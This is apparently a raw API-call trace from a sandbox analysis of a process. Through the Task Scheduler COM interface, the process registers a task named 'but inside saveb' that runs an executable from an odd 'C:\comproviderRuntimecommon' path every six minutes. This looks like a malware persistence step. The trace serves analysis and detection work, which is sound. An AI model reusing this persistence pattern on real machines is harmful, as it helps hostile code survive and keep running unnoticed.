0x24d5e0 [0157.071] GetProcessHeap () returned 0x230000 [0157.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24ccb0 [0157.072] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.072] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0157.072] lstrlenW (lpString="Third") returned 5 [0157.072] GetProcessHeap () returned 0x230000 [0157.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xc) returned 0x24d600 [0157.072] GetProcessHeap () returned 0x230000 [0157.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc80 [0157.072] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.072] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0157.072] lstrlenW (lpString="Fourth") returned 6 [0157.072] GetProcessHeap () returned 0x230000 [0157.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 0x24d620 [0157.072] GetProcessHeap () returned 0x230000 [0157.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc50 [0157.072] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.072] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0157.072] lstrlenW (lpString="Last") returned 4 [0157.072] GetProcessHeap () returned 0x230000 [0157.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xa) returned 0x24d640 [0157.072] lstrlenW (lpString="6") returned 1 [0157.072] _wtol (_String="6") returned 6 [0157.072] GetProcessHeap () returned 0x230000 [0157.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc20 [0157.072] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.072] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0157.072] lstrlenW (lpString="First") returned 5 [0157.072] GetProcessHeap () returned 0x230000 [0157.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xc) returned 0x24d660 [0157.072] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.072] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0157.072] lstrlenW (lpString="Second") returned 6 [0157.072] GetProcessHeap () returned 0x230000 [0157.072] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 0x24d680 [0157.073] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.073] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0157.073] lstrlenW (lpString="Third") returned 5 [0157.073] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.073] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0157.073] lstrlenW (lpString="Fourth") returned 6 [0157.073] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.073] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0157.073] lstrlenW (lpString="Last") returned 4 [0157.073] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc5e0, cchData=128 | out: lpLCData="0") returned 2 [0157.073] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.073] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0157.073] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0157.073] GetProcessHeap () returned 0x230000 [0157.073] GetProcessHeap () returned 0x230000 [0157.073] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5c0) returned 1 [0157.073] GetProcessHeap () returned 0x230000 [0157.073] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d5c0) returned 0xc [0157.073] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5c0 | out: hHeap=0x230000) returned 1 [0157.073] GetProcessHeap () returned 0x230000 [0157.073] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x16) returned 0x24d5c0 [0157.073] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc600, cchData=128 | out: lpLCData="0") returned 2 [0157.073] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.074] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0157.074] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0157.074] GetProcessHeap () returned 0x230000 [0157.074] GetProcessHeap () returned 0x230000 [0157.074] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5e0) returned 1 [0157.074] GetProcessHeap () returned 0x230000 [0157.074] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d5e0) returned 0xe [0157.074] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5e0 | out: hHeap=0x230000) returned 1 [0157.074] GetProcessHeap () returned 0x230000 [0157.074] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x16) returned 0x24d5e0 [0157.074] GetLocalTime (in: lpSystemTime=0x1bc830 | out: lpSystemTime=0x1bc830*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x10, wMilliseconds=0x274)) [0157.074] lstrlenW (lpString="") returned 0 [0157.074] GetLocalTime (in: lpSystemTime=0x1bd0e8 | out: lpSystemTime=0x1bd0e8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x10, wMilliseconds=0x274)) [0157.074] lstrlenW (lpString="") returned 0 [0157.074] lstrlenW (lpString="") returned 0 [0157.074] lstrlenW (lpString="") returned 0 [0157.074] lstrlenW (lpString="") returned 0 [0157.074] lstrlenW (lpString="6") returned 1 [0157.074] _wtol (_String="6") returned 6 [0157.074] lstrlenW (lpString="") returned 0 [0157.074] lstrlenW (lpString="") returned 0 [0157.074] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0157.130] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0157.190] CoCreateInstance (in: rclsid=0xffbf1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffbf1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1bceb0 | out: ppv=0x1bceb0*=0x3c7a50) returned 0x0 [0157.201] TaskScheduler:ITaskService:Connect (This=0x3c7a50, serverName=0x1bcf90*(varType=0x8, wReserved1=0x1b, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1bcf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1bcf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bcf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0157.260] TaskScheduler:IUnknown:AddRef (This=0x3c7a50) returned 0x2 [0157.260] TaskScheduler:ITaskService:GetFolder (in: This=0x3c7a50, Path=0x0, ppFolder=0x1bd048 | out: ppFolder=0x1bd048*=0x3c7c80) returned 0x0 [0157.264] TaskScheduler:ITaskService:NewTask (in: This=0x3c7a50, flags=0x0, ppDefinition=0x1bd040 | out: ppDefinition=0x1bd040*=0x3c7cd0) returned 0x0 [0157.264] ITaskDefinition:get_Actions (in: This=0x3c7cd0, ppActions=0x1bcfc0 | out: ppActions=0x1bcfc0*=0x3c7d90) returned 0x0 [0157.264] IActionCollection:Create (in: This=0x3c7d90, Type=0, ppAction=0x1bcfe0 | out: ppAction=0x1bcfe0*=0x3c6110) returned 0x0 [0157.265] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.265] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.265] lstrlenW (lpString=" ") returned 1 [0157.265] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0157.265] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0157.266] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0157.266] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0157.266] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0157.266] IUnknown:Release (This=0x3c6110) returned 0x1 [0157.266] IUnknown:Release (This=0x3c7d90) returned 0x1 [0157.266] ITaskDefinition:get_Triggers (in: This=0x3c7cd0, ppTriggers=0x1bcb40 | out: ppTriggers=0x1bcb40*=0x3c7ed0) returned 0x0 [0157.267] ITriggerCollection:Create (in: This=0x3c7ed0, Type=1, ppTrigger=0x1bcb38 | out: ppTrigger=0x1bcb38*=0x3c6180) returned 0x0 [0157.267] lstrlenW (lpString="6") returned 1 [0157.267] _vsnwprintf (in: _Buffer=0x1bcac0, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x1bcab8 | out: _Buffer="PT6M") returned 4 [0157.267] ITrigger:get_Repetition (in: This=0x3c6180, ppRepeat=0x1bcb30 | out: ppRepeat=0x1bcb30*=0x3c6210) returned 0x0 [0157.267] IRepetitionPattern:put_Interval (This=0x3c6210, Interval="PT6M") returned 0x0 [0157.267] IUnknown:Release (This=0x3c6210) returned 0x1 [0157.267] _vsnwprintf (in: _Buffer=0x1bca80, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1bca58 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0157.267] ITrigger:put_StartBoundary (This=0x3c6180, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0157.267] lstrlenW (lpString="") returned 0 [0157.267] lstrlenW (lpString="") returned 0 [0157.267] lstrlenW (lpString="") returned 0 [0157.267] lstrlenW (lpString="") returned 0 [0157.268] IUnknown:Release (This=0x3c6180) returned 0x1 [0157.268] IUnknown:Release (This=0x3c7ed0) returned 0x1 [0157.268] ITaskDefinition:get_Settings (in: This=0x3c7cd0, ppSettings=0x1bcfe0 | out: ppSettings=0x1bcfe0*=0x3c5f50) returned 0x0 [0157.268] lstrlenW (lpString="") returned 0 [0157.268] IUnknown:Release (This=0x3c5f50) returned 0x1 [0157.268] GetLocalTime (in: lpSystemTime=0x1bce98 | out: lpSystemTime=0x1bce98*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x10, wMilliseconds=0x32f)) [0157.268] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0157.268] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0157.269] GetUserNameW (in: lpBuffer=0x1bcec0, pcbBuffer=0x1bcea8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1bcea8) returned 1 [0157.269] ITaskDefinition:get_RegistrationInfo (in: This=0x3c7cd0, ppRegistrationInfo=0x1bce90 | out: ppRegistrationInfo=0x1bce90*=0x3c7e10) returned 0x0 [0157.269] IRegistrationInfo:put_Author (This=0x3c7e10, Author="") returned 0x0 [0157.269] _vsnwprintf (in: _Buffer=0x1bcec0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1bce58 | out: _Buffer="2022-08-06T02:19:16") returned 19 [0157.270] IRegistrationInfo:put_Date (This=0x3c7e10, Date="") returned 0x0 [0157.270] IUnknown:Release (This=0x3c7e10) returned 0x1 [0157.270] malloc (_Size=0x18) returned 0x3c7c30 [0157.270] free (_Block=0x3c7c30) [0157.270] lstrlenW (lpString="") returned 0 [0157.270] malloc (_Size=0x18) returned 0x3c7c30 [0157.270] ITaskFolder:RegisterTaskDefinition (in: This=0x3c7c80, Path="but inside saveb", pDefinition=0x3c7cd0, flags=6, UserId=0x1bd130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bd170*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bf040, varVal2=0xfe), LogonType=3, sddl=0x1bd150*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1bd050 | out: ppTask=0x1bd050*=0x3c6400) returned 0x0 [0157.605] free (_Block=0x3c7c30) [0157.605] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.605] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0157.605] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0157.605] GetProcessHeap () returned 0x230000 [0157.605] GetProcessHeap () returned 0x230000 [0157.605] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d600) returned 1 [0157.605] GetProcessHeap () returned 0x230000 [0157.605] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d600) returned 0xc [0157.606] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d600 | out: hHeap=0x230000) returned 1 [0157.606] GetProcessHeap () returned 0x230000 [0157.606] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x82) returned 0x269b20 [0157.606] _vsnwprintf (in: _Buffer=0x1bd790, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1bcff8 | out: _Buffer="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n") returned 78 [0157.606] _fileno (_File=0x7fefed02ab0) returned -2 [0157.606] _errno () returned 0x3c4bb0 [0157.606] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0157.606] SetLastError (dwErrCode=0x6) [0157.606] lstrlenW (lpString="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n") returned 78 [0157.606] GetConsoleOutputCP () returned 0x0 [0157.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0157.606] GetConsoleOutputCP () returned 0x0 [0157.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", cchWideChar=78, lpMultiByteStr=0xffc31880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"but inside saveb\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 78 [0157.606] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 78 [0157.606] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0157.607] IUnknown:Release (This=0x3c6400) returned 0x0 [0157.607] TaskScheduler:IUnknown:Release (This=0x3c7cd0) returned 0x0 [0157.607] TaskScheduler:IUnknown:Release (This=0x3c7c80) returned 0x0 [0157.607] TaskScheduler:IUnknown:Release (This=0x3c7a50) returned 0x1 [0157.607] lstrlenW (lpString="") returned 0 [0157.607] lstrlenW (lpString="6") returned 1 [0157.607] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0157.607] GetProcessHeap () returned 0x230000 [0157.607] GetProcessHeap () returned 0x230000 [0157.607] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c2e0) returned 1 [0157.607] GetProcessHeap () returned 0x230000 [0157.607] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c2e0) returned 0x1fc [0157.608] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c2e0 | out: hHeap=0x230000) returned 1 [0157.608] GetProcessHeap () returned 0x230000 [0157.608] GetProcessHeap () returned 0x230000 [0157.608] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9b0) returned 1 [0157.608] GetProcessHeap () returned 0x230000 [0157.608] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24b9b0) returned 0x4 [0157.608] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24b9b0 | out: hHeap=0x230000) returned 1 [0157.608] GetProcessHeap () returned 0x230000 [0157.608] GetProcessHeap () returned 0x230000 [0157.608] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d560) returned 1 [0157.608] GetProcessHeap () returned 0x230000 [0157.609] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d560) returned 0x16 [0157.609] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d560 | out: hHeap=0x230000) returned 1 [0157.609] GetProcessHeap () returned 0x230000 [0157.609] GetProcessHeap () returned 0x230000 [0157.609] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4e0) returned 1 [0157.609] GetProcessHeap () returned 0x230000 [0157.609] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d4e0) returned 0x18 [0157.609] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d4e0 | out: hHeap=0x230000) returned 1 [0157.609] GetProcessHeap () returned 0x230000 [0157.609] GetProcessHeap () returned 0x230000 [0157.609] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cda0) returned 1 [0157.609] GetProcessHeap () returned 0x230000 [0157.609] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cda0) returned 0x20 [0157.609] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cda0 | out: hHeap=0x230000) returned 1 [0157.609] GetProcessHeap () returned 0x230000 [0157.609] GetProcessHeap () returned 0x230000 [0157.609] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c010) returned 1 [0157.609] GetProcessHeap () returned 0x230000 [0157.609] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c010) returned 0xa0 [0157.610] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c010 | out: hHeap=0x230000) returned 1 [0157.610] GetProcessHeap () returned 0x230000 [0157.610] GetProcessHeap () returned 0x230000 [0157.610] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba90) returned 1 [0157.610] GetProcessHeap () returned 0x230000 [0157.610] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ba90) returned 0x18 [0157.610] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba90 | out: hHeap=0x230000) returned 1 [0157.610] GetProcessHeap () returned 0x230000 [0157.610] GetProcessHeap () returned 0x230000 [0157.610] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb30) returned 1 [0157.610] GetProcessHeap () returned 0x230000 [0157.610] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cb30) returned 0x20 [0157.611] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb30 | out: hHeap=0x230000) returned 1 [0157.611] GetProcessHeap () returned 0x230000 [0157.611] GetProcessHeap () returned 0x230000 [0157.611] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24c270) returned 1 [0157.611] GetProcessHeap () returned 0x230000 [0157.611] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24c270) returned 0x64 [0157.611] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24c270 | out: hHeap=0x230000) returned 1 [0157.611] GetProcessHeap () returned 0x230000 [0157.611] GetProcessHeap () returned 0x230000 [0157.611] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d580) returned 1 [0157.611] GetProcessHeap () returned 0x230000 [0157.611] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d580) returned 0x18 [0157.611] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d580 | out: hHeap=0x230000) returned 1 [0157.611] GetProcessHeap () returned 0x230000 [0157.611] GetProcessHeap () returned 0x230000 [0157.611] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb00) returned 1 [0157.611] GetProcessHeap () returned 0x230000 [0157.611] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cb00) returned 0x20 [0157.612] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cb00 | out: hHeap=0x230000) returned 1 [0157.612] GetProcessHeap () returned 0x230000 [0157.612] GetProcessHeap () returned 0x230000 [0157.612] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24dd10) returned 1 [0157.612] GetProcessHeap () returned 0x230000 [0157.612] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24dd10) returned 0x66 [0157.612] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24dd10 | out: hHeap=0x230000) returned 1 [0157.612] GetProcessHeap () returned 0x230000 [0157.612] GetProcessHeap () returned 0x230000 [0157.612] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d540) returned 1 [0157.612] GetProcessHeap () returned 0x230000 [0157.612] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d540) returned 0x18 [0157.613] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d540 | out: hHeap=0x230000) returned 1 [0157.613] GetProcessHeap () returned 0x230000 [0157.613] GetProcessHeap () returned 0x230000 [0157.613] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24cad0) returned 1 [0157.613] GetProcessHeap () returned 0x230000 [0157.613] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24cad0) returned 0x20 [0157.613] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24cad0 | out: hHeap=0x230000) returned 1 [0157.613] GetProcessHeap () returned 0x230000 [0157.613] GetProcessHeap () returned 0x230000 [0157.613] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d520) returned 1 [0157.613] GetProcessHeap () returned 0x230000 [0157.613] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d520) returned 0xe [0157.613] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d520 | out: hHeap=0x230000) returned 1 [0157.613] GetProcessHeap () returned 0x230000 [0157.613] GetProcessHeap () returned 0x230000 [0157.613] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d500) returned 1 [0157.613] GetProcessHeap () returned 0x230000 [0157.613] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d500) returned 0x18 [0157.613] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d500 | out: hHeap=0x230000) returned 1 [0157.613] GetProcessHeap () returned 0x230000 [0157.614] GetProcessHeap () returned 0x230000 [0157.614] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x245d70) returned 1 [0157.614] GetProcessHeap () returned 0x230000 [0157.614] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x245d70) returned 0x20 [0157.614] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x245d70 | out: hHeap=0x230000) returned 1 [0157.614] GetProcessHeap () returned 0x230000 [0157.614] GetProcessHeap () returned 0x230000 [0157.614] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24bc10) returned 1 [0157.614] GetProcessHeap () returned 0x230000 [0157.614] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24bc10) returned 0x208 [0157.614] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24bc10 | out: hHeap=0x230000) returned 1 [0157.614] GetProcessHeap () returned 0x230000 [0157.614] GetProcessHeap () returned 0x230000 [0157.615] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24ba70) returned 1 [0157.615] GetProcessHeap () returned 0x230000 [0157.615] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24ba70) returned 0x18 [0157.615] 